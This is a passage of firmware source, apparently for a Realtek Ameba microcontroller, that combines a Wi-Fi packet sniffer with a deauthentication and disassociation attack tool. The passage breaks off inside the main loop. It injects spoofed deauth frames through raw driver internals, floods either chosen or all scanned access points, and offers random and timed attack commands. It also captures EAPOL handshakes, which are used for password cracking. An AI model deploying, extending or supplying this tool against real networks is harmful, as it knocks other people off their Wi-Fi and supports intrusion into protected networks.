284 | else if (ftype == 2) { 285 | // Try EAPOL detection 286 | if (isEAPOL(buf, len)) { 287 | output += "[DATA] EAPOL detected! "; 288 | // Display source and destination MAC 289 | char sourceMac[18], destMac[18]; 290 | snprintf(sourceMac, sizeof(sourceMac), "%02X:%02X:%02X:%02X:%02X:%02X", 291 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 292 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 293 | snprintf(destMac, sizeof(destMac), "%02X:%02X:%02X:%02X:%02X:%02X", 294 | hdr->addr1[0], hdr->addr1[1], hdr->addr1[2], 295 | hdr->addr1[3], hdr->addr1[4], hdr->addr1[5]); 296 | output += "Source MAC: " + String(sourceMac) + " Destination MAC: " + String(destMac); 297 | } else { 298 | output += "[DATA] Other data frame."; 299 | } 300 | } 301 | // ============ Extension (rare) ============ 302 | else { 303 | output += "[EXT] Type = " + String(ftype); 304 | } 305 | 306 | // Print the output in a single line 307 | Serial.println(output); 308 | } 309 | // ========================= 310 | // Utility Functions 311 | // ========================= 312 | 313 | 314 | void setChannel(int newChannel) { 315 | if (!isSniffing) { 316 | // Need to initialize WiFi first 317 | wifi_on(RTW_MODE_PROMISC); 318 | wifi_enter_promisc_mode(); 319 | } 320 | currentChannel = newChannel; 321 | wifi_set_channel(currentChannel); 322 | } 323 | 324 | void hopChannel() { 325 | if (isHopping && (millis() - lastHopTime >= HOP_INTERVAL)) { 326 | currentChannelIndex++; 327 | 328 | if (useCustomChannels) { 329 | // Hopping on custom-defined channels 330 | if (currentChannelIndex >= numCustomChannels) { 331 | currentChannelIndex = 0; 332 | } 333 | currentChannel = customChannels[currentChannelIndex]; 334 | } else { 335 | // Hopping between 2.4 GHz and 5.8 GHz bands 336 | static bool use5GHz = false; // Alternates between the two bands 337 | 338 | if (use5GHz) { 339 | // Check if we exceed the available channels in the 5 GHz band 340 | if (currentChannelIndex >= sizeof(CHANNELS_5GHZ) / sizeof(CHANNELS_5GHZ[0])) { 341 | currentChannelIndex = 0; 342 | use5GHz = false; // Switch to the 2.4 GHz band 343 | } 344 | currentChannel = CHANNELS_5GHZ[currentChannelIndex]; 345 | } else { 346 | // Check if we exceed the available channels in the 2.4 GHz band 347 | if (currentChannelIndex >= sizeof(CHANNELS_2GHZ) / sizeof(CHANNELS_2GHZ[0])) { 348 | currentChannelIndex = 0; 349 | use5GHz = true; // Switch to the 5 GHz band 350 | } 351 | currentChannel = CHANNELS_2GHZ[currentChannelIndex]; 352 | } 353 | } 354 | 355 | setChannel(currentChannel); // Set the selected channel 356 | Serial.print("[HOP] Switched to channel "); 357 | Serial.println(currentChannel); 358 | lastHopTime = millis(); // Update the last hop time 359 | } 360 | } 361 | 362 | 363 | 364 | void startSniffing() { 365 | if (!isSniffing) { 366 | Serial.println("[INFO] Enabling promiscuous mode..."); 367 | 368 | // Initialize WiFi in PROMISC mode 369 | wifi_on(RTW_MODE_PROMISC); 370 | wifi_enter_promisc_mode(); 371 | setChannel(currentChannel); 372 | wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback, 1); 373 | 374 | isSniffing = true; 375 | Serial.println("[INFO] Sniffer initialized and running."); 376 | } 377 | } 378 | 379 | void stopSniffing() { 380 | if (isSniffing) { 381 | wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); 382 | isSniffing = false; 383 | currentMode = SNIFF_STOP; 384 | Serial.println("[CMD] Sniffer stopped"); 385 | } 386 | } 387 | 388 | // Prints a MAC address on the serial port, format XX:XX:XX:XX:XX:XX 389 | void printMac(const uint8_t *mac) { 390 | char buf[18]; // XX:XX:XX:XX:XX:XX + terminator 391 | snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", 392 | mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); 393 | Serial.print(buf); 394 | } 395 | 396 | 397 | // Tries to extract the ESSID from a Beacon or Probe in the payload, 398 | // assuming a basic Management header (24 bytes) + 12 fixed bytes 399 | // => We usually start at offset 36 for the first tag. 400 | // WARNING: This method is simplified and may fail if other tags precede the SSID. 401 | String extractSSID(const uint8_t *frame, int totalLen) { 402 | // Minimal offset for the variable part (SSID tag) after a standard Beacon/Probe 403 | const int possibleOffset = 36; 404 | if (totalLen < possibleOffset + 2) { 405 | return ""; 406 | } 407 | 408 | // The first tag should be the SSID tag (ID = 0) 409 | // frame[possibleOffset] = tagNumber, frame[possibleOffset+1] = tagLength 410 | uint8_t tagNumber = frame[possibleOffset]; 411 | uint8_t tagLength = frame[possibleOffset + 1]; 412 | 413 | // If we have an SSID tag 414 | if (tagNumber == 0 && possibleOffset + 2 + tagLength <= totalLen) { 415 | // Build the string 416 | String essid; 417 | for (int i = 0; i < tagLength; i++) { 418 | char c = (char)frame[possibleOffset + 2 + i]; 419 | // Basic filter: only printable ASCII characters are shown 420 | if (c >= 32 && c <= 126) { 421 | essid += c; 422 | } 423 | } 424 | return essid; 425 | } 426 | // Not found / non-SSID tag 427 | return ""; 428 | } 429 | 430 | // Checks if the source MAC is "DE:AD:BE:EF:DE:AD" 431 | bool isPwnagotchiMac(const uint8_t *mac) { 432 | const uint8_t pwnMac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD}; 433 | for (int i = 0; i < 6; i++) { 434 | if (mac[i] != pwnMac[i]) return false; 435 | } 436 | return true; 437 | } 438 | bool isEAPOL(const uint8_t *buf, int len) { 439 | // Check the minimum size: 440 | // 24 bytes for the MAC header, +8 for LLC/SNAP, +4 for a minimal EAPOL 441 | if (len < (24 + 8 + 4)) { 442 | return false; 443 | } 444 | 445 | // First case: "classic" frame (without QoS) 446 | // Check for the presence of the LLC/SNAP header indicating EAPOL (0x88, 0x8E) 447 | if (buf[24] == 0xAA && buf[25] == 0xAA && buf[26] == 0x03 && 448 | buf[27] == 0x00 && buf[28] == 0x00 && buf[29] == 0x00 && 449 | buf[30] == 0x88 && buf[31] == 0x8E) { 450 | return true; 451 | } 452 | 453 | // Second case: QoS frame (Frame Control field indicates a QoS data subtype) 454 | // We identify this if (buf[0] & 0x0F) == 0x08 (subtype = 1000b = 8) 455 | // In this case, the QoS header adds 2 extra bytes after the initial 24 bytes, 456 | // so the LLC/SNAP header starts at offset 24 + 2 = 26 457 | if ((buf[0] & 0x0F) == 0x08) { 458 | if (buf[26] == 0xAA && buf[27] == 0xAA && buf[28] == 0x03 && 459 | buf[29] == 0x00 && buf[30] == 0x00 && buf[31] == 0x00 && 460 | buf[32] == 0x88 && buf[33] == 0x8E) { 461 | return true; 462 | } 463 | } 464 | 465 | return false; 466 | } 467 | 468 | 469 | //========================================================== 470 | // Externs & Prototypes (Realtek / Ameba Specific) 471 | //========================================================== 472 | extern uint8_t* rltk_wlan_info; 473 | extern "C" void* alloc_mgtxmitframe(void* ptr); 474 | extern "C" void update_mgntframe_attrib(void* ptr, void* frame_control); 475 | extern "C" int dump_mgntframe(void* ptr, void* frame_control); 476 | 477 | // Typically: int wifi_get_mac_address(char *mac); 478 | extern "C" int wifi_get_mac_address(char *mac); 479 | 480 | //========================================================== 481 | // Function Prototypes 482 | //========================================================== 483 | void wifi_tx_raw_frame(void* frame, size_t length); 484 | void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason = 0x06); 485 | void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason = 0x08); 486 | 487 | int scanNetworks(); 488 | void printScanResults(); 489 | void handleCommand(String command); 490 | void targetAttack(); 491 | void generalAttack(); 492 | void attackCycle(); 493 | void startTimedAttack(unsigned long durationMs); 494 | void checkTimedAttack(); 495 | 496 | //========================================================== 497 | // Global Vectors 498 | //========================================================== 499 | std::vector scan_results; 500 | std::vector target_aps; 501 | 502 | //========================================================== 503 | // Disassociation Attack Control 504 | //========================================================== 505 | bool disassoc_enabled = false; // If true, perform continuous disassoc 506 | unsigned long disassoc_interval = 1000; // Interval in ms 507 | unsigned long last_disassoc_attack = 0; 508 | 509 | //========================================================== 510 | // Raw Frame Injection 511 | //========================================================== 512 | void wifi_tx_raw_frame(void* frame, size_t length) { 513 | void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10); 514 | void *frame_control = alloc_mgtxmitframe(ptr + 0xae0); 515 | 516 | if (frame_control != 0) { 517 | update_mgntframe_attrib(ptr, frame_control + 8); 518 | memset((void *) * (uint32_t *)(frame_control + 0x80), 0, 0x68); 519 | uint8_t *frame_data = (uint8_t *) * (uint32_t *)(frame_control + 0x80) + 0x28; 520 | memcpy(frame_data, frame, length); 521 | *(uint32_t *)(frame_control + 0x14) = length; 522 | *(uint32_t *)(frame_control + 0x18) = length; 523 | dump_mgntframe(ptr, frame_control); 524 | } 525 | } 526 | 527 | //========================================================== 528 | // Deauth & Disassoc 529 | //========================================================== 530 | void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason) { 531 | DeauthFrame frame; 532 | memcpy(&frame.source, src_mac, 6); 533 | memcpy(&frame.access_point, src_mac, 6); 534 | memcpy(&frame.destination, dst_mac, 6); 535 | frame.reason = reason; 536 | wifi_tx_raw_frame((void*)&frame, sizeof(DeauthFrame)); 537 | } 538 | 539 | void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason) { 540 | DisassocFrame frame; 541 | memcpy(&frame.source, src_mac, 6); 542 | memcpy(&frame.access_point, src_mac, 6); 543 | memcpy(&frame.destination, dst_mac, 6); 544 | frame.reason = reason; 545 | wifi_tx_raw_frame((void*)&frame, sizeof(DisassocFrame)); 546 | } 547 | 548 | //========================================================== 549 | // Sorting Helper 550 | //========================================================== 551 | void sortByChannel(std::vector &results) { 552 | for (size_t i = 0; i < results.size(); i++) { 553 | size_t min_idx = i; 554 | for (size_t j = i + 1; j < results.size(); j++) { 555 | if (results[j].channel < results[min_idx].channel) { 556 | min_idx = j; 557 | } 558 | } 559 | if (min_idx != i) { 560 | WiFiScanResult temp = results[i]; 561 | results[i] = results[min_idx]; 562 | results[min_idx] = temp; 563 | } 564 | } 565 | } 566 | 567 | //========================================================== 568 | // Wi-Fi Scan Callback 569 | //========================================================== 570 | rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) { 571 | if (scan_result->scan_complete == 0) { 572 | rtw_scan_result_t *record = &scan_result->ap_details; 573 | record->SSID.val[record->SSID.len] = 0; 574 | 575 | // Keep only APs >= start_channel if you want to filter 5GHz 576 | if (record->channel >= start_channel) { 577 | WiFiScanResult result; 578 | result.ssid = String((const char*) record->SSID.val); 579 | result.channel = record->channel; 580 | result.rssi = record->signal_strength; 581 | memcpy(&result.bssid, &record->BSSID, 6); 582 | 583 | char bssid_str[20]; 584 | snprintf(bssid_str, sizeof(bssid_str), 585 | "%02X:%02X:%02X:%02X:%02X:%02X", 586 | result.bssid[0], result.bssid[1], result.bssid[2], 587 | result.bssid[3], result.bssid[4], result.bssid[5]); 588 | result.bssid_str = bssid_str; 589 | scan_results.push_back(result); 590 | } 591 | } else { 592 | // Scan completed 593 | } 594 | return RTW_SUCCESS; 595 | } 596 | 597 | //========================================================== 598 | // Start a WiFi Scan 599 | //========================================================== 600 | int scanNetworks() { 601 | Serial.println("Starting WiFi scan..."); 602 | scan_results.clear(); 603 | if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) { 604 | if (USE_LED) digitalWrite(LED_G, HIGH); 605 | delay(scan_time); 606 | Serial.println("Scan completed!"); 607 | 608 | // Sort results by channel 609 | sortByChannel(scan_results); 610 | if (USE_LED) digitalWrite(LED_G, LOW); 611 | return 0; 612 | } else { 613 | Serial.println("Failed to start the scan!"); 614 | return 1; 615 | } 616 | } 617 | 618 | //========================================================== 619 | // Print Scan Results 620 | //========================================================== 621 | void printScanResults() { 622 | Serial.println("Detected networks:"); 623 | for (size_t i = 0; i < scan_results.size(); i++) { 624 | String freq = (scan_results[i].channel >= 36) ? "5GHz" : "2.4GHz"; 625 | Serial.print(i); 626 | Serial.print("\tSSID: "); 627 | Serial.print(scan_results[i].ssid); 628 | Serial.print("\tBSSID: "); 629 | Serial.print(scan_results[i].bssid_str); 630 | Serial.print("\tChannel: "); 631 | Serial.print(scan_results[i].channel); 632 | Serial.print("\tRSSI: "); 633 | Serial.print(scan_results[i].rssi); 634 | Serial.print(" dBm\t"); 635 | Serial.println(freq); 636 | } 637 | } 638 | 639 | //========================================================== 640 | // Attack State Variables 641 | //========================================================== 642 | bool attack_enabled = false; 643 | bool scan_enabled = false; 644 | bool target_mode = false; 645 | 646 | //========================================================== 647 | // Timed Attack 648 | //========================================================== 649 | void startTimedAttack(unsigned long durationMs) { 650 | timedAttackEnabled = true; 651 | attackStartTime = millis(); 652 | attackDuration = durationMs; 653 | attack_enabled = true; 654 | } 655 | 656 | void checkTimedAttack() { 657 | if (timedAttackEnabled && (millis() - attackStartTime > attackDuration)) { 658 | attack_enabled = false; 659 | timedAttackEnabled = false; 660 | Serial.println("[INFO] Timed attack ended."); 661 | } 662 | } 663 | 664 | //========================================================== 665 | // Handle Incoming Commands 666 | //========================================================== 667 | void handleCommand(String command) { 668 | command.trim(); 669 | 670 | // Deauth Attack Commands 671 | if (command.equalsIgnoreCase("start deauther")) { 672 | attack_enabled = true; 673 | Serial.println("[INFO] Deauthentication Attack started."); 674 | } 675 | else if (command.equalsIgnoreCase("stop deauther")) { 676 | // Unified stop command: Stops all active attacks 677 | attack_enabled = false; 678 | disassoc_enabled = false; 679 | Serial.println("[INFO] All attacks stopped."); 680 | } 681 | else if (command.equalsIgnoreCase("scan")) { 682 | scan_enabled = true; 683 | Serial.println("[INFO] Starting scan..."); 684 | if (scanNetworks() == 0) { 685 | printScanResults(); 686 | scan_enabled = false; 687 | Serial.println("[INFO] Scan completed."); 688 | } 689 | else { 690 | Serial.println("[ERROR] Scan failed."); 691 | } 692 | } 693 | else if (command.equalsIgnoreCase("results")) { 694 | if (!scan_results.empty()) { 695 | printScanResults(); 696 | } 697 | else { 698 | Serial.println("[INFO] No scan results available. Try 'scan' first."); 699 | } 700 | } 701 | 702 | //========================== 703 | // Timed Attack 704 | //========================== 705 | else if (command.startsWith("attack_time ")) { 706 | String valStr = command.substring(String("attack_time ").length()); 707 | unsigned long durationMs = valStr.toInt(); 708 | if (durationMs > 0) { 709 | startTimedAttack(durationMs); 710 | Serial.println("[INFO] Timed attack started for " + String(durationMs) + " ms."); 711 | } 712 | else { 713 | Serial.println("[ERROR] Invalid attack duration."); 714 | } 715 | } 716 | 717 | //========================== 718 | // Disassociation Attack Commands (Start Only) 719 | //========================== 720 | else if (command.equalsIgnoreCase("disassoc")) { 721 | if (!disassoc_enabled) { 722 | disassoc_enabled = true; 723 | Serial.println("[INFO] Continuous Disassociation Attack started."); 724 | } 725 | else { 726 | Serial.println("[INFO] Disassociation Attack is already running."); 727 | } 728 | } 729 | 730 | //========================== 731 | // Random Channel Attack 732 | //========================== 733 | else if (command.equalsIgnoreCase("random_attack")) { 734 | if (!scan_results.empty()) { 735 | size_t idx = random(0, scan_results.size()); 736 | uint8_t randChannel = scan_results[idx].channel; 737 | wifi_set_channel(randChannel); 738 | for (int j = 0; j < num_send_frames; j++) { 739 | wifi_tx_deauth_frame(scan_results[idx].bssid, dst_mac, 2); 740 | Serial.print("[RANDOM ATTACK] Deauth "); 741 | Serial.print(j + 1); 742 | Serial.print(" => "); 743 | Serial.print(scan_results[idx].ssid); 744 | Serial.print(" on channel "); 745 | Serial.println(randChannel); 746 | } 747 | } 748 | else { 749 | Serial.println("[ERROR] No AP results available. Run 'scan' first."); 750 | } 751 | } 752 | else if (command == "start sniff") { 753 | currentMode = SNIFF_ALL; 754 | startSniffing(); 755 | Serial.println("[CMD] Starting sniffer in ALL mode"); 756 | } 757 | else if (command == "hop on") { 758 | isHopping = true; 759 | if (!isSniffing) { 760 | wifi_on(RTW_MODE_PROMISC); 761 | wifi_enter_promisc_mode(); 762 | } 763 | Serial.println("[CMD] Channel hopping enabled"); 764 | } 765 | else if (command == "hop off") { 766 | isHopping = false; 767 | Serial.println("[CMD] Channel hopping disabled"); 768 | } 769 | else if (command.startsWith("set ch ")) { 770 | String chStr = command.substring(7); 771 | 772 | // Check if it's a comma-separated list 773 | if (chStr.indexOf(',') != -1) { 774 | // Reset custom channels 775 | numCustomChannels = 0; 776 | useCustomChannels = false; 777 | 778 | // Parse comma-separated channels 779 | while (chStr.length() > 0) { 780 | int commaIndex = chStr.indexOf(','); 781 | String channelStr; 782 | 783 | if (commaIndex == -1) { 784 | channelStr = chStr; 785 | chStr = ""; 786 | } else { 787 | channelStr = chStr.substring(0, commaIndex); 788 | chStr = chStr.substring(commaIndex + 1); 789 | } 790 | 791 | channelStr.trim(); 792 | int newChannel = channelStr.toInt(); 793 | 794 | // Validate channel 795 | bool validChannel = false; 796 | for (int ch : CHANNELS_2GHZ) { 797 | if (ch == newChannel) validChannel = true; 798 | } 799 | for (int ch : CHANNELS_5GHZ) { 800 | if (ch == newChannel) validChannel = true; 801 | } 802 | 803 | if (validChannel && numCustomChannels < MAX_CUSTOM_CHANNELS) { 804 | customChannels[numCustomChannels++] = newChannel; 805 | } 806 | } 807 | 808 | if (numCustomChannels > 0) { 809 | useCustomChannels = true; 810 | isHopping = true; 811 | currentChannelIndex = 0; 812 | currentChannel = customChannels[0]; 813 | setChannel(currentChannel); 814 | Serial.print("[CMD] Set custom channel sequence: "); 815 | for (int i = 0; i < numCustomChannels; i++) { 816 | Serial.print(customChannels[i]); 817 | if (i < numCustomChannels - 1) Serial.print(","); 818 | } 819 | Serial.println(); 820 | } 821 | } else { 822 | // Single channel setting (existing code) 823 | int newChannel = chStr.toInt(); 824 | bool validChannel = false; 825 | for (int ch : CHANNELS_2GHZ) { 826 | if (ch == newChannel) validChannel = true; 827 | } 828 | for (int ch : CHANNELS_5GHZ) { 829 | if (ch == newChannel) validChannel = true; 830 | } 831 | if (validChannel) { 832 | isHopping = false; 833 | useCustomChannels = false; 834 | setChannel(newChannel); 835 | Serial.print("[CMD] Set to channel "); 836 | Serial.println(currentChannel); 837 | } else { 838 | Serial.println("[ERROR] Invalid channel number"); 839 | } 840 | } 841 | } 842 | else if (command == "sniff beacon") { 843 | currentMode = SNIFF_BEACON; 844 | startSniffing(); 845 | Serial.println("[CMD] Switching to BEACON sniffing mode"); 846 | } 847 | else if (command == "sniff probe") { 848 | currentMode = SNIFF_PROBE; 849 | startSniffing(); 850 | Serial.println("[CMD] Switching to PROBE sniffing mode"); 851 | } 852 | else if (command == "sniff deauth") { 853 | currentMode = SNIFF_DEAUTH; 854 | startSniffing(); 855 | Serial.println("[CMD] Switching to DEAUTH sniffing mode"); 856 | } 857 | else if (command == "sniff eapol") { 858 | currentMode = SNIFF_EAPOL; 859 | startSniffing(); 860 | Serial.println("[CMD] Switching to EAPOL sniffing mode"); 861 | } 862 | else if (command == "sniff pwnagotchi") { 863 | currentMode = SNIFF_PWNAGOTCHI; 864 | startSniffing(); 865 | Serial.println("[CMD] Switching to PWNAGOTCHI sniffing mode"); 866 | } 867 | else if (command == "sniff all") { 868 | currentMode = SNIFF_ALL; 869 | startSniffing(); 870 | Serial.println("[CMD] Switching to ALL sniffing mode"); 871 | } 872 | else if (command == "stop sniff") { 873 | stopSniffing(); 874 | } 875 | //========================== 876 | // "set" Command (Existing) 877 | //========================== 878 | else if (command.startsWith("set ")) { 879 | String setting = command.substring(4); 880 | setting.trim(); 881 | int space_index = setting.indexOf(' '); 882 | if (space_index != -1) { 883 | String key = setting.substring(0, space_index); 884 | String value = setting.substring(space_index + 1); 885 | value.replace(" ", ""); 886 | 887 | if (key.equalsIgnoreCase("cycle_delay")) { 888 | cycle_delay = value.toInt(); 889 | Serial.println("[INFO] Updated cycle_delay to " + String(cycle_delay) + " ms."); 890 | } 891 | else if (key.equalsIgnoreCase("scan_time")) { 892 | scan_time = value.toInt(); 893 | Serial.println("[INFO] Updated scan_time to " + String(scan_time) + " ms."); 894 | } 895 | else if (key.equalsIgnoreCase("num_frames")) { 896 | num_send_frames = value.toInt(); 897 | Serial.println("[INFO] Updated num_send_frames to " + String(num_send_frames) + "."); 898 | } 899 | else if (key.equalsIgnoreCase("start_channel")) { 900 | start_channel = value.toInt(); 901 | Serial.println("[INFO] Updated start_channel to " + String(start_channel) + "."); 902 | } 903 | else if (key.equalsIgnoreCase("scan_cycles")) { 904 | if (value.equalsIgnoreCase("on")) { 905 | scan_between_cycles = true; 906 | Serial.println("[INFO] Scan between attack cycles activated."); 907 | } 908 | else if (value.equalsIgnoreCase("off")) { 909 | scan_between_cycles = false; 910 | Serial.println("[INFO] Scan between attack cycles deactivated."); 911 | } 912 | else { 913 | Serial.println("[ERROR] Invalid value for scan_cycles. Use 'on' or 'off'."); 914 | } 915 | } 916 | else if (key.equalsIgnoreCase("led")) { 917 | if (value.equalsIgnoreCase("on")) { 918 | USE_LED = true; 919 | Serial.println("[INFO] LEDs activated."); 920 | } 921 | else if (value.equalsIgnoreCase("off")) { 922 | USE_LED = false; 923 | Serial.println("[INFO] LEDs deactivated."); 924 | } 925 | else { 926 | Serial.println("[ERROR] Invalid value for LED. Use 'set led on' or 'set led off'."); 927 | } 928 | } 929 | else if (key.equalsIgnoreCase("target")) { 930 | // e.g., set target 1,2,3 931 | target_aps.clear(); 932 | target_mode = false; 933 | 934 | int start = 0; 935 | int end = 0; 936 | while ((end = value.indexOf(',', start)) != -1) { 937 | String index_str = value.substring(start, end); 938 | int target_index = index_str.toInt(); 939 | if (target_index >= 0 && target_index < (int)scan_results.size()) { 940 | target_aps.push_back(scan_results[target_index]); 941 | } 942 | else { 943 | Serial.println("[ERROR] Invalid target index: " + index_str); 944 | } 945 | start = end + 1; 946 | } 947 | 948 | // Last index 949 | if (start < value.length()) { 950 | String index_str = value.substring(start); 951 | int target_index = index_str.toInt(); 952 | if (target_index >= 0 && target_index < (int)scan_results.size()) { 953 | target_aps.push_back(scan_results[target_index]); 954 | } 955 | else { 956 | Serial.println("[ERROR] Invalid target index: " + index_str); 957 | } 958 | } 959 | 960 | if (!target_aps.empty()) { 961 | target_mode = true; 962 | Serial.println("[INFO] Targeting the following APs:"); 963 | for (size_t i = 0; i < target_aps.size(); i++) { 964 | Serial.print("- SSID: "); 965 | Serial.print(target_aps[i].ssid); 966 | Serial.print(" BSSID: "); 967 | Serial.println(target_aps[i].bssid_str); 968 | } 969 | } 970 | else { 971 | target_mode = false; 972 | Serial.println("[ERROR] No valid targets selected."); 973 | } 974 | } 975 | else { 976 | Serial.println("[ERROR] Unknown setting: " + key); 977 | } 978 | } 979 | else { 980 | Serial.println("[ERROR] Invalid format. Use: set "); 981 | } 982 | } 983 | else if (command.equalsIgnoreCase("info")) { 984 | Serial.println("[INFO] Current Configuration:"); 985 | Serial.println("Cycle Delay: " + String(cycle_delay) + " ms"); 986 | Serial.println("Scan Time: " + String(scan_time) + " ms"); 987 | Serial.println("Number of Frames per AP: " + String(num_send_frames)); 988 | Serial.println("Start Channel: " + String(start_channel)); 989 | Serial.println("Scan between attack cycles: " + String(scan_between_cycles ? "Enabled" : "Disabled")); 990 | Serial.println("LEDs: " + String(USE_LED ? "On" : "Off")); 991 | 992 | if (target_mode && !target_aps.empty()) { 993 | Serial.println("[INFO] Targeted APs:"); 994 | for (size_t i = 0; i < target_aps.size(); i++) { 995 | Serial.print("- SSID: "); 996 | Serial.print(target_aps[i].ssid); 997 | Serial.print(" BSSID: "); 998 | Serial.println(target_aps[i].bssid_str); 999 | } 1000 | } 1001 | else { 1002 | Serial.println("[INFO] No APs targeted."); 1003 | } 1004 | } 1005 | else if (command.equalsIgnoreCase("help")) { 1006 | Serial.println("[Deauther] Available Commands."); 1007 | Serial.println(" - start deauther : Begin the deauth attack cycle."); 1008 | Serial.println(" - stop deauther : Stop all attack cycles."); 1009 | Serial.println(" - scan : Perform a WiFi scan and display results."); 1010 | Serial.println(" - results : Show last scan results."); 1011 | Serial.println(" - disassoc : Begin continuous disassociation attacks."); 1012 | Serial.println(" - random_attack : Deauth a randomly chosen AP from the scan list."); 1013 | Serial.println(" - attack_time : Start a timed attack for the specified duration."); 1014 | Serial.println("[Sniffer] WiFi Sniffer Commands."); 1015 | Serial.println(" - start sniff : Enable the sniffer with ALL mode."); 1016 | Serial.println(" - sniff beacon : Enable/Disable beacon capture."); 1017 | Serial.println(" - sniff probe : Enable/Disable probe requests/responses."); 1018 | Serial.println(" - sniff deauth : Enable/Disable deauth/disassoc frames."); 1019 | Serial.println(" - sniff eapol : Enable/Disable EAPOL frames."); 1020 | Serial.println(" - sniff pwnagotchi : Enable/Disable Pwnagotchi beacons."); 1021 | Serial.println(" - sniff all : Enable/Disable all frames."); 1022 | Serial.println(" - stop sniff : Stop sniffing."); 1023 | Serial.println(" - hop on : Enable channel hopping."); 1024 | Serial.println(" - hop off : Disable channel hopping."); 1025 | Serial.println("[Configuration] Set Commands:"); 1026 | Serial.println(" - set : Update configuration values:"); 1027 | Serial.println(" * ch X : Set to specific channel X."); 1028 | Serial.println(" * target : Set target APs by their indices, e.g., 'set target 1,3,5'."); 1029 | Serial.println(" * cycle_delay (ms) : Delay between scan/deauth cycles."); 1030 | Serial.println(" * scan_time (ms) : Duration of WiFi scans."); 1031 | Serial.println(" * num_frames : Number of frames sent per AP."); 1032 | Serial.println(" * start_channel : Start channel for scanning (1 or 36 for 5GHz only)."); 1033 | Serial.println(" * scan_cycles : on/off - Enable or disable scan between attack cycles."); 1034 | Serial.println(" * led on/off : Enable or disable LEDs."); 1035 | Serial.println(" - info : Display the current configuration."); 1036 | Serial.println(" - help : Display this help message."); 1037 | } 1038 | else { 1039 | Serial.println("[ERROR] Unknown command. Type 'help' for a list of commands."); 1040 | } 1041 | } 1042 | 1043 | //========================================================== 1044 | // Attack Functions 1045 | //========================================================== 1046 | void targetAttack() { 1047 | if (target_mode && attack_enabled) { 1048 | for (size_t i = 0; i < target_aps.size(); i++) { 1049 | wifi_set_channel(target_aps[i].channel); 1050 | for (int j = 0; j < num_send_frames; j++) { 1051 | wifi_tx_deauth_frame(target_aps[i].bssid, dst_mac, 2); 1052 | if (USE_LED) { 1053 | digitalWrite(LED_B, HIGH); 1054 | delay(50); 1055 | digitalWrite(LED_B, LOW); 1056 | } 1057 | Serial.print("Deauth frame "); 1058 | Serial.print(j + 1); 1059 | Serial.print(" => "); 1060 | Serial.print(target_aps[i].ssid); 1061 | Serial.print(" ("); 1062 | Serial.print(target_aps[i].bssid_str); 1063 | Serial.print(") on channel "); 1064 | Serial.println(target_aps[i].channel); 1065 | } 1066 | } 1067 | } 1068 | } 1069 | 1070 | void generalAttack() { 1071 | if (!target_mode && attack_enabled) { 1072 | attackCycle(); 1073 | } 1074 | } 1075 | 1076 | void attackCycle() { 1077 | Serial.println("Starting attack cycle..."); 1078 | 1079 | uint8_t currentChannel = 0xFF; 1080 | for (size_t i = 0; i < scan_results.size(); i++) { 1081 | uint8_t targetChannel = scan_results[i].channel; 1082 | if (targetChannel != currentChannel) { 1083 | wifi_set_channel(targetChannel); 1084 | currentChannel = targetChannel; 1085 | } 1086 | 1087 | for (int j = 0; j < num_send_frames; j++) { 1088 | wifi_tx_deauth_frame(scan_results[i].bssid, dst_mac, 2); 1089 | if (USE_LED) { 1090 | digitalWrite(LED_B, HIGH); 1091 | delay(50); 1092 | digitalWrite(LED_B, LOW); 1093 | } 1094 | Serial.print("Deauth frame "); 1095 | Serial.print(j + 1); 1096 | Serial.print(" => "); 1097 | Serial.print(scan_results[i].ssid); 1098 | Serial.print(" ("); 1099 | Serial.print(scan_results[i].bssid_str); 1100 | Serial.print(") on channel "); 1101 | Serial.println(scan_results[i].channel); 1102 | } 1103 | } 1104 | Serial.println("Attack cycle completed."); 1105 | } 1106 | 1107 | //========================================================== 1108 | // Setup 1109 | //========================================================== 1110 | void setup() { 1111 | Serial.begin(115200); 1112 | 1113 | if (USE_LED) { 1114 | pinMode(LED_R, OUTPUT); 1115 | pinMode(LED_G, OUTPUT); 1116 | pinMode(LED_B, OUTPUT); 1117 | 1118 | // Simple LED test sequence 1119 | digitalWrite(LED_R, HIGH); delay(200); digitalWrite(LED_R, LOW); 1120 | digitalWrite(LED_G, HIGH); delay(200); digitalWrite(LED_G, LOW); 1121 | digitalWrite(LED_B, HIGH); delay(200); digitalWrite(LED_B, LOW); 1122 | digitalWrite(LED_R, HIGH); digitalWrite(LED_G, HIGH); 1123 | delay(200); 1124 | digitalWrite(LED_R, LOW); digitalWrite(LED_G, LOW); 1125 | digitalWrite(LED_G, HIGH); digitalWrite(LED_B, HIGH); 1126 | delay(200); 1127 | digitalWrite(LED_G, LOW); digitalWrite(LED_B, LOW); 1128 | digitalWrite(LED_R, HIGH); digitalWrite(LED_B, HIGH); 1129 | delay(200); 1130 | digitalWrite(LED_R, LOW); digitalWrite(LED_B, LOW); 1131 | digitalWrite(LED_R, HIGH); digitalWrite(LED_G, HIGH); digitalWrite(LED_B, HIGH); 1132 | delay(200); 1133 | digitalWrite(LED_R, LOW); digitalWrite(LED_G, LOW); digitalWrite(LED_B, LOW); 1134 | } 1135 | 1136 | Serial.println("Initializing WiFi in hidden AP mode..."); 1137 | wifi_on(RTW_MODE_AP); 1138 | wifi_start_ap_with_hidden_ssid(WIFI_SSID, 1139 | RTW_SECURITY_WPA2_AES_PSK, 1140 | WIFI_PASS, 1141 | 11, // keyID 1142 | 18, // SSID length 1143 | WIFI_CHANNEL); 1144 | Serial.println("Hidden AP started. Selected channel: " + String(WIFI_CHANNEL)); 1145 | 1146 | last_cycle = millis(); 1147 | } 1148 | 1149 | //========================================================== 1150 | // Main Loop 1151 | //========================================================== 1152 | void loop() { 1153 | // Handle commands from Serial 1154 | if (Serial.available()) { 1155 | String command = Serial.readStringUntil('\n'); 1156 | 